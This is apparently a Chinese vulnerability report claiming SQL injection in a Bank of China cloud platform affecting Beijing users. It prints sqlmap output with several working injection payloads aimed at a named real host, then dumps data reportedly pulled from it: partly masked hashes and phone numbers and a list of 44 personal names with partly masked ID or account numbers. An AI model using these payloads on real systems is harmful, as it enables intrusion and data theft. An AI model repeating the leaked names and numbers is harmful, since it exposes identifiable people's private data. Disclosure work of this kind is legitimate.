中行云平台SQL注入涉及北京地区数十万用户身份信息

sqlmap resumed the following injection point(s) from stored session:
 ---
 Parameter: #1* (URI)
     Type: boolean-based blind
     Title: OR boolean-based blind - WHERE or HAVING clause (MySQL comment) (NOT)
     Payload: http://boc.weixinhai.net:80/newnew/index.php/home/index/detail/id/4) OR NOT 5157=5157#.html
 
     Type: error-based
     Title: MySQL OR error-based - WHERE or HAVING clause
     Payload: http://boc.weixinhai.net:80/newnew/index.php/home/index/detail/id/-5873) OR 1 GROUP BY CONCAT(0x716b6b6a(RAND(0)*2)) HAVING MIN(0)#.html
 
     Type: stacked queries
     Title: MySQL > 5.0.11 stacked queries (SELECT - comment)
     Payload: http://boc.weixinhai.net:80/newnew/index.php/home/index/detail/id/4);(SELECT * FROM (SELECT(SLEEP(5)))sX
 
     Type: AND/OR time-based blind
     Title: MySQL >= 5.0.12 OR time-based blind (SELECT - comment)
     Payload: http://boc.weixinhai.net:80/newnew/index.php/home/index/detail/id/4) OR (SELECT * FROM (SELECT(SLEEP(5))
 
     Type: UNION query
     Title: MySQL UNION query (NULL) - 5 columns
     Payload: http://boc.weixinhai.net:80/newnew/index.php/home/index/detail/id/4) UNION ALL SELECT NULL,NULL,NULL,NUL476c507259796e75796b574f50495673,0x717a786b71)#.html
 ---

mask 区域
*****8ecf8427e,<blank>,1,1501074*****
 *****8427e,<blank>,1,18718867230,0*****
 *****8427e,<blank>,1,18811702980,0*****
 *****cf8427e,<blank>,1,1501148723*****
 


 1,王卫星,3776*******0007
 2,董宪章,3776*******0866
 3,董立操,3776*******4033
 4,董芮宁,3776*******4033
 5,马立,3776*******7168
 6,张怡,3776*******0618
 7,朱锦,3776*******2499
 8,焦旭东,3776*******2910
 9,张苏江,3776*******3305
 10,平三一,3776*******1415
 11,张会联,3776*******4609
 12,陈健华,3776*******4376
 13,王小琳,3776*******8617
 14,王晴,3776*******9235
 15,孙娣,3776*******6792
 16,王玉苓,3776*******8103
 17,谭志慧,3776*******8368
 18,刘丽,3776*******9853
 19,金春芽,3776*******0935
 20,赵娜,3776*******4515
 21,于迪,3776*******8888
 22,焦莉莉,3776*******0983
 23,李斌,3776*******5040
 24,汪洋,3776*******8001
 25,王霁虹,3776*******3769
 26,陈玉华,3776*******4501
 27,任哲,3776*******0482
 28,郭慧玲,3776*******1753
 29,任智,3776*******6240
 30,兰民国,3776*******1059
 31,王镇,3776*******5795
 32,王洪刚,3776*******5679
 33,吴跃煌,3776*******8228
 34,麻赛鹉,3776*******5447
 35,鲁元凤,3776*******8185
 36,赵敏娟,3776*******8888
 37,武威,3776*******3425
 38,王辉,3776*******4837
 39,刘东生,3776*******8515
 40,于金源,3776*******2111
 41,郝欣欣,3776*******1922
 42,檀艳丽,3776*******4868
 43,肖健,3776*******5915
 44,郑国玉,3776*******8505